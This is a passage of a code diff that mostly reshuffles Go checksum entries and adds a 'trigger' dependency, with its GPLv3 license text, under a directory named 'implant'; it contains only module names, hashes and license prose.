v0.0.0-20260226221140-a57be14db171 h1:tu/dtnW1o3wfaxCOjSLn5IRX4YDcJrtlpzYkhHhGaC4= +google.golang.org/genproto/googleapis/rpc v0.0.0-20260316180232-0b37fe3546d5/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8= +google.golang.org/genproto/googleapis/rpc v0.0.0-20260316180232-0b37fe3546d5 h1:aJmi6DVGGIStN9Mobk/tZOOQUBbj0BPjZjjnOdoZKts= google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20260226221140-a57be14db171 h1:RxhCsti413yL0IjU9dVvuTbCISo8gs3RW1jPMStck+4= google.golang.org/genproto v0.0.0-20260226221140-a57be14db171/go.mod h1:uhvzakVEqAuXU3TC2JCsxIRe5f77l+JySE3EqPoMyqM= -google.golang.org/genproto/googleapis/api v0.0.0-20260226221140-a57be14db171 h1:tu/dtnW1o3wfaxCOjSLn5IRX4YDcJrtlpzYkhHhGaC4= -google.golang.org/genproto/googleapis/api v0.0.0-20260226221140-a57be14db171/go.mod h1:M5krXqk4GhBKvB596udGL3UyjL4I1+cTbK0orROM9ng= -google.golang.org/genproto/googleapis/rpc v0.0.0-20260316180232-0b37fe3546d5 h1:aJmi6DVGGIStN9Mobk/tZOOQUBbj0BPjZjjnOdoZKts= -google.golang.org/genproto/googleapis/rpc v0.0.0-20260316180232-0b37fe3546d5/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8= +google.golang.org/genproto v0.0.0-20260226221140-a57be14db171 h1:RxhCsti413yL0IjU9dVvuTbCISo8gs3RW1jPMStck+4= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= -google.golang.org/grpc v1.79.3 h1:sybAEdRIEtvcD68Gx7dmnwjZKlyfuc61Dyo9pGXXkKE= google.golang.org/grpc v1.79.3/go.mod h1:KmT0Kjez+0dde/v2j9vzwoAScgEPx/Bw1CYChhHLrHQ= +google.golang.org/grpc v1.79.3 h1:sybAEdRIEtvcD68Gx7dmnwjZKlyfuc61Dyo9pGXXkKE= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= -google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= +google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= -google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE= google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco= +google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE= +go.opentelemetry.io/auto/sdk v1.2.1/go.mod h1:KRTj+aOaElaLi+wW1kO/DZRXwkF4C5xPbEe3ZiIhN7Y= +go.opentelemetry.io/auto/sdk v1.2.1 h1:jXsnJ4Lmnqd11kwkBV2LgLoFMZKizbCi5fNZ/ipaZ64= +go.opentelemetry.io/contrib/detectors/gcp v1.40.0/go.mod h1:99OY9ZCqyLkzJLTh5XhECpLRSxcZl+ZDKBEO+jMBFR4= +go.opentelemetry.io/contrib/detectors/gcp v1.40.0 h1:Awaf8gmW99tZTOWqkLCOl6aw1/rxAWVlHsHIZ3fT2sA= +go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.65.0/go.mod h1:KDgtbWKTQs4bM+VPUr6WlL9m/WXcmkCcBlIzqxPGzmI= +go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.65.0 h1:XmiuHzgJt067+a6kwyAzkhXooYVv3/TOw9cM2VfJgUM= +go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.65.0/go.mod h1:c7hN3ddxs/z6q9xwvfLPk+UHlWRQyaeR1LdgfL/66l0= +go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.65.0 h1:7iP2uCb7sGddAr30RRS6xjKy7AZ2JtTOPA3oolgVSw8= +go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.39.0/go.mod h1:0fBG6ZJxhqByfFZDwSwpZGzJU671HkwpWaNe2t4VUPI= +go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.39.0 h1:5gn2urDL/FBnK8OkCfD1j3/ER79rUuTYmCvlXBKeYL8= +go.opentelemetry.io/otel/metric v1.40.0/go.mod h1:ib/crwQH7N3r5kfiBZQbwrTge743UDc7DTFVZrrXnqc= +go.opentelemetry.io/otel/metric v1.40.0 h1:rcZe317KPftE2rstWIBitCdVp89A2HqjkxR3c11+p9g= +go.opentelemetry.io/otel/sdk/metric v1.40.0/go.mod h1:4Z2bGMf0KSK3uRjlczMOeMhKU2rhUqdWNoKcYrtcBPg= +go.opentelemetry.io/otel/sdk/metric v1.40.0 h1:mtmdVqgQkeRxHgRv4qhyJduP3fYJRMX4AtAlbuWdCYw= +go.opentelemetry.io/otel/sdk v1.40.0/go.mod h1:Ph7EFdYvxq72Y8Li9q8KebuYUr2KoeyHx0DRMKrYBUE= +go.opentelemetry.io/otel/sdk v1.40.0 h1:KHW/jUzgo6wsPh9At46+h4upjtccTmuZCFAc9OJ71f8= +go.opentelemetry.io/otel/trace v1.40.0/go.mod h1:zeAhriXecNGP/s2SEG3+Y8X9ujcJOTqQ5RgdEJcawiA= +go.opentelemetry.io/otel/trace v1.40.0 h1:WA4etStDttCSYuhwvEa8OP8I5EWu24lkOzp+ZYblVjw= +go.opentelemetry.io/otel v1.40.0/go.mod h1:IMb+uXZUKkMXdPddhwAHm6UfOwJyh4ct1ybIlV14J0g= +go.opentelemetry.io/otel v1.40.0 h1:oA5YeOcpRTXq6NN7frwmwFR0Cn3RhTVZvXsP4duvCms= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= -gopkg.in/go-playground/assert.v1 v1.2.1 h1:xoYuJVE7KT85PYWrN730RguIQO0ePzVRfFMXadIrXTM= gopkg.in/go-playground/assert.v1 v1.2.1/go.mod h1:9RXL0bg/zibRAgZUYszZSwO/z8Y/a8bDuhia5mkpMnE= -gopkg.in/go-playground/validator.v9 v9.31.0 h1:bmXmP2RSNtFES+bn4uYuHT7iJFJv7Vj+an+ZQdDaD1M= +gopkg.in/go-playground/assert.v1 v1.2.1 h1:xoYuJVE7KT85PYWrN730RguIQO0ePzVRfFMXadIrXTM= gopkg.in/go-playground/validator.v9 v9.31.0/go.mod h1:+c9/zcJMFNgbLvly1L1V+PpxWdVbfP1avr/N00E2vyQ= -gopkg.in/h2non/gock.v1 v1.1.2 h1:jBbHXgGBK/AoPVfJh5x4r/WxIrElvbLel8TCZkkZJoY= +gopkg.in/go-playground/validator.v9 v9.31.0 h1:bmXmP2RSNtFES+bn4uYuHT7iJFJv7Vj+an+ZQdDaD1M= gopkg.in/h2non/gock.v1 v1.1.2/go.mod h1:n7UGz/ckNChHiK05rDoiC4MYSunEC/lyaUm2WWaDva0= -gopkg.in/jcmturner/aescts.v1 v1.0.1 h1:cVVZBK2b1zY26haWB4vbBiZrfFQnfbTVrE3xZq6hrEw= +gopkg.in/h2non/gock.v1 v1.1.2 h1:jBbHXgGBK/AoPVfJh5x4r/WxIrElvbLel8TCZkkZJoY= gopkg.in/jcmturner/aescts.v1 v1.0.1/go.mod h1:nsR8qBOg+OucoIW+WMhB3GspUQXq9XorLnQb9XtvcOo= -gopkg.in/jcmturner/dnsutils.v1 v1.0.1 h1:cIuC1OLRGZrld+16ZJvvZxVJeKPsvd5eUIvxfoN5hSM= +gopkg.in/jcmturner/aescts.v1 v1.0.1 h1:cVVZBK2b1zY26haWB4vbBiZrfFQnfbTVrE3xZq6hrEw= gopkg.in/jcmturner/dnsutils.v1 v1.0.1/go.mod h1:m3v+5svpVOhtFAP/wSz+yzh4Mc0Fg7eRhxkJMWSIz9Q= -gopkg.in/jcmturner/goidentity.v3 v3.0.0 h1:1duIyWiTaYvVx3YX2CYtpJbUFd7/UuPYCfgXtQ3VTbI= +gopkg.in/jcmturner/dnsutils.v1 v1.0.1 h1:cIuC1OLRGZrld+16ZJvvZxVJeKPsvd5eUIvxfoN5hSM= gopkg.in/jcmturner/goidentity.v3 v3.0.0/go.mod h1:oG2kH0IvSYNIu80dVAyu/yoefjq1mNfM5bm88whjWx4= -gopkg.in/jcmturner/gokrb5.v7 v7.5.0 h1:a9tsXlIDD9SKxotJMK3niV7rPZAJeX2aD/0yg3qlIrg= +gopkg.in/jcmturner/goidentity.v3 v3.0.0 h1:1duIyWiTaYvVx3YX2CYtpJbUFd7/UuPYCfgXtQ3VTbI= gopkg.in/jcmturner/gokrb5.v7 v7.5.0/go.mod h1:l8VISx+WGYp+Fp7KRbsiUuXTTOnxIc3Tuvyavf11/WM= -gopkg.in/jcmturner/rpc.v1 v1.1.0 h1:QHIUxTX1ISuAv9dD2wJ9HWQVuWDX/Zc0PfeC2tjc4rU= +gopkg.in/jcmturner/gokrb5.v7 v7.5.0 h1:a9tsXlIDD9SKxotJMK3niV7rPZAJeX2aD/0yg3qlIrg= gopkg.in/jcmturner/rpc.v1 v1.1.0/go.mod h1:YIdkC4XfD6GXbzje11McwsDuOlZQSb9W4vfLvuNnlv8= -gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ= +gopkg.in/jcmturner/rpc.v1 v1.1.0 h1:QHIUxTX1ISuAv9dD2wJ9HWQVuWDX/Zc0PfeC2tjc4rU= gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= +gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= +gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gorm.io/driver/mysql v1.6.0 h1:eNbLmNTpPpTOVZi8MMxCi2aaIm0ZpInbORNXDwyLGvg= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gorm.io/driver/mysql v1.6.0/go.mod h1:D/oCC2GWK3M/dqoLxnOlaNKmXz8WNTfcS9y5ovaSqKo= -gorm.io/driver/postgres v1.6.0 h1:2dxzU8xJ+ivvqTRph34QX+WrRaJlmfyPqXmoGVjMBa4= +gorm.io/driver/mysql v1.6.0 h1:eNbLmNTpPpTOVZi8MMxCi2aaIm0ZpInbORNXDwyLGvg= gorm.io/driver/postgres v1.6.0/go.mod h1:vUw0mrGgrTK+uPHEhAdV4sfFELrByKVGnaVRkXDhtWo= -gorm.io/driver/sqlite v1.6.0 h1:WHRRrIiulaPiPFmDcod6prc4l2VGVWHz80KspNsxSfQ= +gorm.io/driver/postgres v1.6.0 h1:2dxzU8xJ+ivvqTRph34QX+WrRaJlmfyPqXmoGVjMBa4= gorm.io/driver/sqlite v1.6.0/go.mod h1:AO9V1qIQddBESngQUKWL9yoH93HIeA1X6V633rBwyT8= -gorm.io/gorm v1.31.0 h1:0VlycGreVhK7RF/Bwt51Fk8v0xLiiiFdbGDPIZQ7mJY= +gorm.io/driver/sqlite v1.6.0 h1:WHRRrIiulaPiPFmDcod6prc4l2VGVWHz80KspNsxSfQ= gorm.io/gorm v1.31.0/go.mod h1:XyQVbO2k6YkOis7C2437jSit3SsDK72s7n7rsSHd+Gs= -gvisor.dev/gvisor v0.0.0-20250503011706-39ed1f5ac29c h1:m/r7OM+Y2Ty1sgBQ7Qb27VgIMBW8ZZhT4gLnUyDIhzI= +gorm.io/gorm v1.31.0 h1:0VlycGreVhK7RF/Bwt51Fk8v0xLiiiFdbGDPIZQ7mJY= +go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= +go.uber.org/goleak v1.1.10/go.mod h1:8a7PlsEVH3e/a/GLqe5IIrQx6GzcnRmZEufDUTk4A7A= +go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU= +go.uber.org/zap v1.18.1/go.mod h1:xg/QME4nWcxGxrpdeYfq7UvYrLh66cuVKdrbD1XF/NI= +go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg= gvisor.dev/gvisor v0.0.0-20250503011706-39ed1f5ac29c/go.mod h1:3r5CMtNQMKIvBlrmM9xWUNamjKBYPOWyXOjmg5Kts3g= +gvisor.dev/gvisor v0.0.0-20250503011706-39ed1f5ac29c h1:m/r7OM+Y2Ty1sgBQ7Qb27VgIMBW8ZZhT4gLnUyDIhzI= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -honnef.co/go/tools v0.7.0-0.dev.0.20251022135355-8273271481d0 h1:5SXjd4ET5dYijLaf0O3aOenC0Z4ZafIWSpjUzsQaNho= honnef.co/go/tools v0.7.0-0.dev.0.20251022135355-8273271481d0/go.mod h1:EPDDhEZqVHhWuPI5zPAsjU0U7v9xNIWjoOVyZ5ZcniQ= -howett.net/plist v1.0.0 h1:7CrbWYbPPO/PyNy38b2EB/+gYbjCe2DXBxgtOOZbSQM= +honnef.co/go/tools v0.7.0-0.dev.0.20251022135355-8273271481d0 h1:5SXjd4ET5dYijLaf0O3aOenC0Z4ZafIWSpjUzsQaNho= howett.net/plist v1.0.0/go.mod h1:lqaXoTrLY4hg8tnEzNru53gicrbv7rrk+2xJA/7hw9g= -maunium.net/go/mautrix v0.26.0 h1:valc2VmZF+oIY4bMq4Cd5H9cEKMRe8eP4FM7iiaYLxI= +howett.net/plist v1.0.0 h1:7CrbWYbPPO/PyNy38b2EB/+gYbjCe2DXBxgtOOZbSQM= maunium.net/go/mautrix v0.26.0/go.mod h1:NWMv+243NX/gDrLofJ2nNXJPrG8vzoM+WUCWph85S6Q= -modernc.org/cc/v4 v4.26.5 h1:xM3bX7Mve6G8K8b+T11ReenJOT+BmVqQj0FY5T4+5Y4= -modernc.org/cc/v4 v4.26.5/go.mod h1:uVtb5OGqUKpoLWhqwNQo/8LwvoiEBLvZXIQ/SmO6mL0= -modernc.org/ccgo/v4 v4.28.1 h1:wPKYn5EC/mYTqBO373jKjvX2n+3+aK7+sICCv4Fjy1A= +maunium.net/go/mautrix v0.26.0 h1:valc2VmZF+oIY4bMq4Cd5H9cEKMRe8eP4FM7iiaYLxI= modernc.org/ccgo/v4 v4.28.1/go.mod h1:uD+4RnfrVgE6ec9NGguUNdhqzNIeeomeXf6CL0GTE5Q= -modernc.org/fileutil v1.3.40 h1:ZGMswMNc9JOCrcrakF1HrvmergNLAmxOPjizirpfqBA= +modernc.org/ccgo/v4 v4.28.1 h1:wPKYn5EC/mYTqBO373jKjvX2n+3+aK7+sICCv4Fjy1A= +modernc.org/cc/v4 v4.26.5/go.mod h1:uVtb5OGqUKpoLWhqwNQo/8LwvoiEBLvZXIQ/SmO6mL0= +modernc.org/cc/v4 v4.26.5 h1:xM3bX7Mve6G8K8b+T11ReenJOT+BmVqQj0FY5T4+5Y4= modernc.org/fileutil v1.3.40/go.mod h1:HxmghZSZVAz/LXcMNwZPA/DRrQZEVP9VX0V4LQGQFOc= -modernc.org/gc/v2 v2.6.5 h1:nyqdV8q46KvTpZlsw66kWqwXRHdjIlJOhG6kxiV/9xI= +modernc.org/fileutil v1.3.40 h1:ZGMswMNc9JOCrcrakF1HrvmergNLAmxOPjizirpfqBA= modernc.org/gc/v2 v2.6.5/go.mod h1:YgIahr1ypgfe7chRuJi2gD7DBQiKSLMPgBQe9oIiito= -modernc.org/goabi0 v0.2.0 h1:HvEowk7LxcPd0eq6mVOAEMai46V+i7Jrj13t4AzuNks= +modernc.org/gc/v2 v2.6.5 h1:nyqdV8q46KvTpZlsw66kWqwXRHdjIlJOhG6kxiV/9xI= modernc.org/goabi0 v0.2.0/go.mod h1:CEFRnnJhKvWT1c1JTI3Avm+tgOWbkOu5oPA8eH8LnMI= -modernc.org/libc v1.66.10 h1:yZkb3YeLx4oynyR+iUsXsybsX4Ubx7MQlSYEw4yj59A= +modernc.org/goabi0 v0.2.0 h1:HvEowk7LxcPd0eq6mVOAEMai46V+i7Jrj13t4AzuNks= modernc.org/libc v1.66.10/go.mod h1:8vGSEwvoUoltr4dlywvHqjtAqHBaw0j1jI7iFBTAr2I= -modernc.org/mathutil v1.7.1 h1:GCZVGXdaN8gTqB1Mf/usp1Y/hSqgI2vAGGP4jZMCxOU= +modernc.org/libc v1.66.10 h1:yZkb3YeLx4oynyR+iUsXsybsX4Ubx7MQlSYEw4yj59A= modernc.org/mathutil v1.7.1/go.mod h1:4p5IwJITfppl0G4sUEDtCr4DthTaT47/N3aT6MhfgJg= -modernc.org/memory v1.11.0 h1:o4QC8aMQzmcwCK3t3Ux/ZHmwFPzE6hf2Y5LbkRs+hbI= +modernc.org/mathutil v1.7.1 h1:GCZVGXdaN8gTqB1Mf/usp1Y/hSqgI2vAGGP4jZMCxOU= modernc.org/memory v1.11.0/go.mod h1:/JP4VbVC+K5sU2wZi9bHoq2MAkCnrt2r98UGeSK7Mjw= -modernc.org/opt v0.1.4 h1:2kNGMRiUjrp4LcaPuLY2PzUfqM/w9N23quVwhKt5Qm8= +modernc.org/memory v1.11.0 h1:o4QC8aMQzmcwCK3t3Ux/ZHmwFPzE6hf2Y5LbkRs+hbI= modernc.org/opt v0.1.4/go.mod h1:03fq9lsNfvkYSfxrfUhZCWPk1lm4cq4N+Bh//bEtgns= -modernc.org/sortutil v1.2.1 h1:+xyoGf15mM3NMlPDnFqrteY07klSFxLElE2PVuWIJ7w= +modernc.org/opt v0.1.4 h1:2kNGMRiUjrp4LcaPuLY2PzUfqM/w9N23quVwhKt5Qm8= modernc.org/sortutil v1.2.1/go.mod h1:7ZI3a3REbai7gzCLcotuw9AC4VZVpYMjDzETGsSMqJE= -modernc.org/sqlite v1.39.0 h1:6bwu9Ooim0yVYA7IZn9demiQk/Ejp0BtTjBWFLymSeY= +modernc.org/sortutil v1.2.1 h1:+xyoGf15mM3NMlPDnFqrteY07klSFxLElE2PVuWIJ7w= modernc.org/sqlite v1.39.0/go.mod h1:cPTJYSlgg3Sfg046yBShXENNtPrWrDX8bsbAQBzgQ5E= -modernc.org/strutil v1.2.1 h1:UneZBkQA+DX2Rp35KcM69cSsNES9ly8mQWD71HKlOA0= +modernc.org/sqlite v1.39.0 h1:6bwu9Ooim0yVYA7IZn9demiQk/Ejp0BtTjBWFLymSeY= modernc.org/strutil v1.2.1/go.mod h1:EHkiggD70koQxjVdSBM3JKM7k6L0FbGE5eymy9i3B9A= -modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y= +modernc.org/strutil v1.2.1 h1:UneZBkQA+DX2Rp35KcM69cSsNES9ly8mQWD71HKlOA0= modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= -mvdan.cc/sh/v3 v3.12.0 h1:ejKUR7ONP5bb+UGHGEG/k9V5+pRVIyD+LsZz7o8KHrI= +modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y= mvdan.cc/sh/v3 v3.12.0/go.mod h1:Se6Cj17eYSn+sNooLZiEUnNNmNxg0imoYlTu4CyaGyg= -software.sslmate.com/src/go-pkcs12 v0.4.0 h1:H2g08FrTvSFKUj+D309j1DPfk5APnIdAQAB8aEykJ5k= +mvdan.cc/sh/v3 v3.12.0 h1:ejKUR7ONP5bb+UGHGEG/k9V5+pRVIyD+LsZz7o8KHrI= software.sslmate.com/src/go-pkcs12 v0.4.0/go.mod h1:Qiz0EyvDRJjjxGyUQa2cCNZn/wMyzrRJ/qcDXOQazLI= -tailscale.com v1.92.5 h1:h88HqtGk8jd9umF7l6m/8+QK69dY9IVMIlkNK9XYpvQ= +software.sslmate.com/src/go-pkcs12 v0.4.0 h1:H2g08FrTvSFKUj+D309j1DPfk5APnIdAQAB8aEykJ5k= tailscale.com v1.92.5/go.mod h1:jzTfKDd6XNNSNoX+Q9INIMpMU5rfZ9g8ojcAoMKi5w0= +tailscale.com v1.92.5 h1:h88HqtGk8jd9umF7l6m/8+QK69dY9IVMIlkNK9XYpvQ= diff --git a/implant/go-mod b/implant/go-mod index b4d3ec36da..f6d64b7231 100644 --- a/implant/go-mod +++ b/implant/go-mod @@ -4,6 +4,7 @@ go 1.24.0 require ( filippo.io/age v1.1.1 + github.com/0x90pkt/trigger v0.1.0 github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0 github.com/Ne0nd0g/go-clr v1.0.3 github.com/gofrs/uuid v4.0.0+incompatible diff --git a/implant/go-sum b/implant/go-sum index 235ce90898..ba720b9cc6 100644 --- a/implant/go-sum +++ b/implant/go-sum @@ -1,5 +1,7 @@ filippo.io/age v1.1.1 h1:pIpO7l151hCnQ4BdyBujnGP2YlUo0uj6sAVNHGBvXHg= filippo.io/age v1.1.1/go.mod h1:l03SrzDUrBkdBx8+IILdnn2KZysqQdbEBUQ4p3sqEQE= +github.com/0x90pkt/trigger v0.1.0 h1:JOxWdVME1+ASQPMen5oXuBW1m2bmz8oFlp2/I5RMFnY= +github.com/0x90pkt/trigger v0.1.0/go.mod h1:P6kTaE+2xHAOtQ0/FJL+diOQDClB6/p1RhUI5omEd3k= github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 h1:8kQNJC9AxAaNs0JkXnWUfbNeDnIO1QLYYWjYqC6JEE4= github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0 h1:1sdnMvqxxlMXsu8ku/Xrh6gi3V40ykksst5fd0lfWnc= diff --git a/implant/vendor/github.com/0x90pkt/trigger/LICENSE b/implant/vendor/github.com/0x90pkt/trigger/LICENSE new file mode 100644 index 0000000000..f288702d2f --- /dev/null +++ b/implant/vendor/github.com/0x90pkt/trigger/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work 